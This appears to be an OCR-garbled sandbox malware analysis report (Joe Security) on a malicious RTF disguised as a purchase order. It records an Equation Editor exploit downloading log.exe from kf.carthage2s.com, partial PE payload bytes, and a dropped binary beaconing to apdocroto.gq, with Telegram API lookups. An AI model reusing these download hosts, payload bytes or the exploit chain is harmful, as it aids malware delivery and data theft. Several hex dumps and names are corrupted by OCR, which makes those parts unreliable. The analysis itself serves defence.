SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static RTF Info

Objects

Id Start Format ID Format Classname
0 000000CEh
1 00000094h

Network Behavior

Network Port Distribution

TCP Packets

Copyright Joe Security LLC 2021

. %.r...p.%.r...p
JRRUCSUPUR (UUON AOVUE PR [/ B %.r...p.%.r...p.%.r...p.%.r...p.%.r...p.

Rich Text Format data, version 1, unknown character
set

4.002762351056112

e Rich Text Format (5005/1) 55.56%
e Rich Text Format (4004/1) 44.44%

Customer-unionroadwaysltd-8754-PO.doc__.rtf
1323327

97021239d41dc5efd26c0c26e922f06f
1b1faa516a3774fb55f2473b21c9a189fffadsf7

32269783938f1e9c0b60f92653957h6che356a3bd47b5df
970f7485¢16d327cf

e38a17f7f4b1df4823fc8584a337e64336c613c165138db
37a36435a165bb11b8564015899c742e22b7e9d9246f6h
4216445dd8cbafcadc5ch8ce24725fd432

24576:VBFeohGLeQWeXVJIWUgXAVPsq7tuVYol6RQb
22Yy/bM6710Y+AUvgHYCJeUT|DIRG:v

{\rtf1323{\object20375041 \"
\objocx68470100\+\objupdate8512205885122058 \objw
7690\objh1217{\*\objdata588088

HHHEHEHE{H{\0in0000000  {\*\objdata588088
}  \*\password537785346  Yc2P4f

edeeaaaadbdbdad

Filename Sourcepath Temppath Exploit
no

no
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UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jun 16, 2021 12:04:48.743724108 CEST 192.168.2.22 8.8.8.8 Ox6ca3 Standard query  kf.carthag A (IP address) IN (0x0001)
(0) e2s.com

Jun 16, 2021 12:04:48.825902939 CEST 192.168.2.22 8.8.8.8 0x9c65 Standard query  kf.carthag A (IP address) IN (0x0001)
0) e2s.com

Jun 16, 2021 12:04:48.897434950 CEST 192.168.2.22 8.8.8.8 0x9c65 Standard query  kf.carthag A (IP address) IN (0x0001)
(0) e2s.com

Jun 16, 2021 12:04:52.437649012 CEST 192.168.2.22 8.8.8.8 0x71dd Standard query  apdocroto.gq A (IP address) IN (0x0001)
(0)

Jun 16, 2021 12:05:13.915947914 CEST 192.168.2.22 8.8.8.8 0xd799 Standard query  apdocroto.gq A (IP address) IN (0x0001)
(0)

Jun 16, 2021 12:05:51.845128059 CEST 192.168.2.22 8.8.8.8 0xf12d Standard query  apdocroto.gq A (IP address) IN (0x0001)
(0)

Jun 16, 2021 12:05:57.478846073 CEST 192.168.2.22 8.8.8.8 0x4b7d Standard query  apdocroto.gq A (IP address) IN (0x0001)
0)

Jun 16, 2021 12:06:02.198873997 CEST 192.168.2.22 8.8.8.8 0xd386 Standard query  api.telegram.org A (IP address) IN (0x0001)
(0)

Jun 16, 2021 12:06:09.830574036 CEST 192.168.2.22 8.8.8.8 0x3f23 Standard query  api.telegram.org A (IP address) IN (0x0001)
(0)

Jun 16, 2021 12:06:09.881769896 CEST 192.168.2.22 8.8.8.8 0x3f23 Standard query  api.telegram.org A (IP address) IN (0x0001)
(©)

Jun 16, 2021 12:06:20.039237976 CEST 192.168.2.22 8.8.8.8 0xc5d5 Standard query  api.telegram.org A (IP address) IN (0x0001)
()

Jun 16, 2021 12:06:20.090413094 CEST 192.168.2.22 8.8.8.8 0xc5d5 Standard query  api.telegram.org A (IP address) IN (0x0001)
()

Jun 16, 2021 12:06:25.756264925 CEST 192.168.2.22 8.8.8.8 0xd312 Standard query  api.telegram.org A (IP address) IN (0x0001)
()

Jun 16, 2021 12:06:25.807354927 CEST 192.168.2.22 8.8.8.8 0xd312 Standard query  api.telegram.org A (IP address) IN (0x0001)
()

Jun 16, 2021 12:06:27.344374895 CEST 192.168.2.22 8.8.8.8 Oxefaa Standard query  api.telegram.org A (IP address) IN (0x0001)
()

Jun 16, 2021 12:06:27.425159931 CEST 192.168.2.22 8.8.8.8 Oxefaa Standard query  api.telegram.org A (IP address) IN (0x0001)
()

Jun 16, 2021 12:06:31.892621040 CEST 192.168.2.22 8.8.8.8 0x7a0b Standard query  api.telegram.org A (IP address)  IN (0x0001)
()

Jun 16, 2021 12:06:32.335108042 CEST 192.168.2.22 8.8.8.8 0x79bf Standard query  api.telegram.org A (IP address) IN (0x0001)
(0)

Jun 16, 2021 12:06:38.338213921 CEST 192.168.2.22 8.8.8.8 0x887a Standard query  api.telegram.org A (IP address) IN (0x0001)
(0)

Jun 16, 2021 12:06:43.592240095 CEST 192.168.2.22 8.8.8.8 0xf3ch Standard query  api.telegram.org A (IP address) IN (0x0001)
(0)

Jun 16, 2021 12:06:43.652056932 CEST 192.168.2.22 8.8.8.8 0xf3ch Standard query  api.telegram.org A (IP address) IN (0x0001)
(0)

Jun 16, 2021 12:06:43.712543011 CEST 192.168.2.22 8.8.8.8 0xf3ch Standard query  api.telegram.org A (IP address) IN (0x0001)
(0)

Jun 16, 2021 12:06:46.605046988 CEST 192.168.2.22 8.8.8.8 Oxbaa6 Standard query  api.telegram.org A (IP address) IN (0x0001)
(0)

Jun 16, 2021 12:06:46.658775091 CEST 192.168.2.22 8.8.8.8 Oxbaa6 Standard query  api.telegram.org A (IP address) IN (0x0001)
(0)

Jun 16, 2021 12:06:48.801117897 CEST 192.168.2.22 8.8.8.8 Ox1lde Standard query  api.telegram.org A (IP address) IN (0x0001)
)

Jun 16, 2021 12:06:48.854523897 CEST 192.168.2.22 8.8.8.8 Ox1lde Standard query  api.telegram.org A (IP address) IN (0x0001)
)

Jun 16, 2021 12:06:52.620488882 CEST 192.168.2.22 8.8.8.8 0x61a8 Standard query  api.telegram.org A (IP address) IN (0x0001)
0

Jun 16, 2021 12:06:52.676053047 CEST 192.168.2.22 8.8.8.8 0x61a8 Standard query  api.telegram.org A (IP address) IN (0x0001)
0

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jun 16, 2021 8.8.8.8 192.168.2.22 Ox6ca3 No error (0) kf.carthag 41.231.5.212 A (IP address) IN (0x0001)

12:04:48.818453074 e2s.com

CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x9c65 No error (0) kf.carthag 41.231.5.212 A (IP address) IN (0x0001)

12:04:48.897130013 e2s.com

CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x9c65 No error (0) kf.carthag 41.231.5.212 A (IP address) IN (0x0001)

12:04:48.949904919 e2s.com

CEST
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jun 16, 2021 8.8.8.8 192.168.2.22 0x71dd No error (0) apdocroto.gq 104.21.14.60 A (IP address) IN (0x0001)
12:04:52.504651070
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x71dd No error (0) apdocroto.gq 172.67.158.27 A (IP address) IN (0x0001)
12:04:52.504651070
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0xd799 No error (0) apdocroto.gq 104.21.14.60 A (IP address) IN (0x0001)
12:05:13.983175993
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0xd799 No error (0) apdocroto.gq 172.67.158.27 A (IP address) IN (0x0001)
12:05:13.983175993
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0xfi2d No error (0) apdocroto.gq 172.67.158.27 A (IP address) IN (0x0001)
12:05:51.918904066
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0oxfi2d No error (0) apdocroto.gq 104.21.14.60 A (IP address) IN (0x0001)
12:05:51.918904066
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x4b7d No error (0) apdocroto.gq 172.67.158.27 A (IP address) IN (0x0001)
12:05:57.537872076
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x4b7d No error (0) apdocroto.gq 104.21.14.60 A (IP address) IN (0x0001)
12:05:57.537872076
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0xd386 No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:02.249242067
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x3f23 No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:09.881184101
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x3f23 No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:09.933396101
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0xc5d5 No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:20.089854002
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0xc5d5 No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:20.144352913
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0xd312 No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:25.806879044
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0xd312 No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:25.858172894
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 Oxefaa No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:27.400501013
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 Oxefaa No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:27.481283903
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x7a0b No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:31.945979118
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x79bf No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:32.385663033
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0x887a No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:38.389044046
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0xf3cb No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:43.651424885
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0xf3cb No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:43.711159945
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 0xf3cb No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:43.771693945
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 Oxbaa6 No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:46.658106089
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 Oxbaa6 No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:46.711790085
CEST

Jun 16, 2021 8.8.8.8 192.168.2.22 Ox1lde No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
12:06:48.851561069
CEST
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Timestamp Source IP Dest IP

Jun 16, 2021 8.8.8.8 192.168.2.22
12:06:48.904994011

CEST

Jun 16, 2021 8.8.8.8 192.168.2.22
12:06:52.673280001

CEST

Jun 16, 2021 8.8.8.8 192.168.2.22

12:06:52.731133938
CEST

HTTP Request Dependency Graph

e kf.carthage2s.com

e apdocroto.gq

HTTP Packets

Session ID Source IP

0 192.168.2.22
kBytes

Timestamp transferred

Jun 16, 2021 0

12:04:49.033925056 CEST

Jun 16, 2021 2
12:04:49.116209984 CEST

Session ID Source IP

1 192.168.2.22
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Source Port

49165

Direction

ouT

Source Port

49167

Direction

Ox1lde

0x61a8

0x61a8

Trans ID Reply Code Name CName Address Type Class

No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)
No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)

Destination IP Destination Port Process

41.231.5.212 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Data

GET /log.exe HTTP/1.1
Connection: Keep-Alive
Host: kf.carthage2s.com

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Wed, 16 Jun 2021 03:52:28 GMT

Accept-Ranges: bytes

ETag: "75ff8c66362d71:0"

Server: Microsoft-11S/8.5

X-Powered-By: ASP.NET

Date: Wed, 16 Jun 2021 10:04:49 GMT

Content-Length: 144168

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 aa 14 d6 ee 00 00 00 00 00 00 00 00 e0 00 22 00 Ob 01
30 00 00 4c 00 00 00 d0 01 00 00 00 00 00 ce 6b 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 O
0 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 d8 6b 02 00 02 00 60 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 6b 00 00 53 00 00 00 00 80 00 00 00 cd 01
00 00 00 00 00 00 00 00 00 00 1e 02 00 28 15 00 00 00 60 02 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 4b 00 00
00 20 00 00 00 4c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 cd 01
00 00 80 00 00 00 ce 01 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 60 02 00 00 02 00 00 00 1c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 b0 6b 00 00 00 00 00 00 48 00 00 00 02 00 05 00 1c 40 00 00 5¢ 2b 00 00 03 00 00 00 Oa 00 00 06
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 06 2a 22 02 28 Oc 00 00 Oa 00 2a 42 02 28 Oc 00 00 Oa 00 00 02 28 09 00 00 06 00 2a 3e 00
02 72 2c 10 00 70 03 6f 2f 00 00 Oa 00 2a 22 02 28 30 00 00 Oa 00 2a 56 73 Of 00 00 06 28 31 00 00 Oa 74 06 00 00 02 80
01 00 00 04 2a 00 13 30 08 00 a8 00 00 00 01 00 00 11 00 14 0a 04 72 01 00 00 70 19 8d 01 00 00 01 25 16 72 15 00 00
70 a2 2517 72 19 00 00 70 a2 25 18 72 1d 00 00 70 a2 28 07 00 00 Oa 72 21 00 00 70 6f 08 00 00 Oa 10 02 05 72 23 00
00 70 28 09 00 00 Oa Ob 2b 06 fe 16 0Oa 00 00 01 07 2¢ 12 00 Oe 04 14 04 Oe 05 14 14 14 17 28 Oa 00 00 Oa Oa 00 05 72
270000 70 28 09 00 00 Oa Oc 08 2c 10 00 Oe 04 14 04 14 14 14 14 28 Ob 00 00 0a 0a 00 05 72 2b 00 00 70 28 09 00 00
0a 0d 09 2c 11 00 Oe 04 14 04 Oe 05 14 14 14 28 Ob 00 00 Oa Oa 00 06 13 04 2b 00 11 04 2a 1b 30 07 00 b6 06 00 00 02
00 00 11 00 7e 0d 00 00 Oa Oa 03 28 Oe 00 00 Oa 74 0d 00 00 01 Ob 2b 06 fe 16 12 00 00 01 07 72 2f 00 00 70 1f 10 8d 01
0000012516 72 9d 00 00 70 a2 25 17 72 a1 00 00 70 a2 25 18 72 a1 00 00 70 a2 25 19 72 a5 00 00 70 a2 25 1la 72 a9
0000 70 a2 25 1b 72 ad 00 00 70 a2 25 1c 72 9d 00 00 70 a2 25 1d 72 b1 00 00 70 a2 25 1le 72 a9 00 00 70 a2 25 1f 09
72 b5 00 00 70 a2 25 1f 0a 72 b9 00 00 70 a2 25 1f Ob 72 bd 00 00 70 a2 25 1f Oc 72 ¢1 00 00 70 a2 25 1f 0d 72 c5 00 00
70 a2 25 1f 0Oe 72 b5 00 00 70 a2 25 1f Of 72 b9 00 00 70 a2 28 07 00 00 Oa 6f Of 00 00 0a 00 07 6f 10 00 00 Oa 72 c9 00
00 70 1f 09 8d 01 00 00 01 25 16 72 01 01 00 70 a2 25 17

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"OLk @ k'xkS(* H.textK L ".rsrcN@@.reloc’ @BkH@\+
*(*B((*>r,po/*"(0*Vs(1t*0rp%rp%erpYorp(r!por#p(+,(r'p(, (r+p(, (+*0~(t+r/p%rp%orpYorp YorpYerp%rp%rp%rp%erpYor
p%rp%rp%rp%rp%rp%rp(oorp%rp%

Destination IP Destination Port Process

104.21.14.60 80 C:\Users\user\AppData\Roaming\putty.exe

Data
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kBytes

Timestamp transferred Direction
Jun 16, 2021 215 ouT
12:04:52.577344894 CEST

Jun 16, 2021 217 IN
12:04:52.945996046 CEST

Jun 16, 2021 1509 ouT

12:04:54.698050022 CEST

Copyright Joe Security LLC 2021

Data

GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-CC63E54262373453B19DBF613B3334D
E.html HTTP/1.1

Accept: application/json

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/
537.36 OPR/38.0.2220.41

Authorization: Bearer {token}

Host: apdocroto.gq

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:04:52 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

CF-Cache-Status: DYNAMIC

cf-request-id: 0ab5e0f80100004ddc50151000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\w2?s=VwYVzkZ29F%2BI50W%2Fb4Yt9KU4uYR4
TgODUwgkstjbzPTDbxYCC%2BJUr3xpogofqRpOIDcGdI%2ByleK0vgp540Ys0%2BYIQnj8swUggzGoQ%2FKOKTCjaH
A1KIJoGKXD"}],"group":"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6603376cce8b4ddc-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 64 33 64 0d 0a 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d
22 65 6e 22 3e 0d Oa 3c 21 2d 2d 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72
203034 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62
7920 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 7265 73 32 30 36 2e 7
46d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d 0d Oa 70 61 67 65 20
67 65 6e 6572 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d Oa 2d 2d 3e 0d Oa 3c 68 65
61 64 3e 0d Oa 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74
70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72
65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f
6¢c 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68
7474 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22
70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70
6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢
3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 65 6¢ 69

Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated
by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477-->
<head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liver
pool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liv
erpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="https://feli

GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0B579F7D05D398DAB455F9EFDAAC369
5.html HTTP/1.1

Accept: application/json

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/
537.36 OPR/38.0.2220.41

Authorization: Bearer {token}

Host: apdocroto.gq
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kBytes
Timestamp transferred

Jun 16, 2021 1511
12:04:54.905277967 CEST

Jun 16, 2021 2798
12:04:56.378340006 CEST

Jun 16, 2021 2800
12:04:56.773211956 CEST

Session ID Source IP

2 192.168.2.22

Copyright Joe Security LLC 2021

Direction

IN

ouT

Source Port

49168

Data

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:04:54 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 16 Jun 2021 02:15:31 GMT

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

CF-Cache-Status: DYNAMIC

cf-request-id: 0ab5e1004d00004ddc2237e000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\v2?s=xKt%2BOwVdR1cNXthi8PNMpXmZoUy6VU
WpdCfOlvDjpxT4k%2F28B4MTO4w2kGxHIs6%2BvT208b%2F8RG4AGspm%2FOuFwwI%2FJIuT SRE6P4hKI%2
FKSppz7sJWDC%2FoEL%2FW%?2Bfhqg"}],"group”:"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6603377ale364ddc-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 64 33 64 0d Oa Od Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6c 61 6e 67 3d
22 65 6e 22 3e 0d Oa 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72
203034 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62
79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 7
4 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d Od Oa 70 61 67 65 20
67 65 6e 65 72 61 74 65 64 20 69 6e 20 73 65 63 74 69 6f 6e 3a 20 33 30 39 38 34 37 37 0d Oa 2d 2d 3e 0d Oa 3c 68 65
61 64 3e 0d Oa 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74
70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3¢ 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72
65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f
6c 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68
7474 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70 6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22
70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 32 2d 70 72 6f 64 2e 6¢ 69 76 65 72 70
6f 6f 6¢ 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22
68 74 74 70 73 3a 2f 2f 66 65 6¢ 69 78 2e 64 61 74 61 2e 74 6d 2d 61 77 78 2e 63 6f 6d 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢C
3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70

Data Ascii: 1d3d<!DOCTYPE html><html lang="en">...page generated at: Thu Mar 04 16:20:02 GMT 2021page generated
by escenic.server/hostname: reg-pres206.tm-aws.com/reg-pres206.tm-aws.compage generated in section: 3098477-->
<head><link rel="dns-prefetch" href="https://s2-prod.liverpool.com"><link rel="preconnect" href="https://s2-prod.liver
pool.com"><link rel="dns-prefetch" href="https://i2-prod.liverpool.com"><link rel="preconnect" href="https://i2-prod.liv
erpool.com"><link rel="dns-prefetch" href="https://felix.data.tm-awx.com"><link rel="preconnect" href="http

GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-73850014335AB72CBE7866A38A201CD
2.html HTTP/1.1

Accept: application/json

UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/
537.36 OPR/38.0.2220.41

Authorization: Bearer {token}

Host: apdocroto.gq

HTTP/1.1 200 OK

Date: Wed, 16 Jun 2021 10:04:56 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 16 Jun 2021 02:15:32 GMT

Vary: Accept-Encoding

X-Frame-Options: SAMEORIGIN

CF-Cache-Status: DYNAMIC

cf-request-id: 0ab5e106db00004ddc2a0de000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.comVireport\/v2?s=%2Fn|%2FP3QmzbT%2FvoKtzkxvgal E%2
FFSsZtUnGXnY6FIgfrQSfMZydQfGLsfK3bX9IN3FXAH81PQShOTHr2lfSVbGUewlzHIEVYNQuUOe4Fbc%2BbTPvbqK6P
Uzfq%2BR3q"}],"group":"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 660337849c824ddc-FRA

alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

Data Raw: 31 64 33 64 0d Oa 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d
22 65 6e 22 3e 0d 0a 3c 21 2d 2d 0d 0a 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 61 74 3a 20 54 68 75 20 4d 61 72
20 3034 20 31 36 3a 32 30 3a 30 32 20 47 4d 54 20 32 30 32 31 0d Oa 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 62
79 20 65 73 63 65 6e 69 63 2e 73 65 72 76 65 72 2f 68 6f 73 74 6e 61 6d 65 3a 20 72 65 67 2d 70 72 65 73 32 30 36 2e 7
4 6d 2d 61 77 73 2e 63 6f 6d 2f 72 65 67 2d 70 72 65 73 32 30 36 2e 74 6d 2d 61 77 73 2e 63 6f 6d Od Oa 70 61 67 65 20
